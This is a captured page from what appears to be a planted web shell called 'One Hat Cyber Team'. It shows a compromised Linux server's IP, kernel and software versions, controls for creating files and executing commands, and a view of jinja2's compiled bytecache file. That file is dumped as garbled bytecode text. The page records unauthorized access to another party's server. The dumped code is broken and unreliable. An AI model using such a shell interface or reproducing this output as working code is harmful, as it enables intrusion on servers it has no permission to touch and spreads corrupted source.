⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
jinja2
/
__pycache__
/
View File Name :
bccache.cpython-310.pyc
o g[a~1 @ s d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddlmZ ddl mZ ddlmZ e jrNddlZddlmZ G dd d ejZd Zdeed eejd d > ejd B d ZG dd dZG dd dZG dd deZG dd deZdS )a The optional bytecode cache system. This is useful if you have very complex template situations and the compilation of all those templates slows down your application too much. Situations where this is useful are often forking web applications that are initialized on the first request. N)sha1)BytesIO)CodeType )Environmentc @ s@ e Zd ZdedefddZd dededeje ddfdd Z dS )_MemcachedClientkeyreturnc C d S N )selfr r r 0/usr/lib/python3/dist-packages/jinja2/bccache.pyget z_MemcachedClient.getNvaluetimeoutc C r r r )r r r r r r r set r z_MemcachedClient.setr ) __name__ __module____qualname__strbytesr tOptionalintr r r r r r s &r s j2 c @ s| e Zd ZdZdddededdfdd Zdd dZdejddfd dZ dejddfddZ deddfddZdefddZ dS )Bucketau Buckets are used to store the bytecode for one template. It's created and initialized by the bytecode cache and passed to the loading functions. The buckets get an internal checksum from the cache assigned and use this to automatically reject outdated cache material. Individual bytecode cache subclasses don't have to care about cache invalidation. environmentr r checksumr Nc C s || _ || _|| _| d S r )r r r! reset)r r r r! r r r __init__5 s zBucket.__init__c C s d| _ dS )z)Resets the bucket (unloads the bytecode).N)coder r r r r" ; s zBucket.resetfc C sx | tt}|tkr| dS t|}| j|kr!| dS z t|| _W dS t t tfy; | Y dS w )z/Loads bytecode from a file or file like object.N)readlenbc_magicr" pickleloadr! marshalr$ EOFError ValueError TypeError)r r&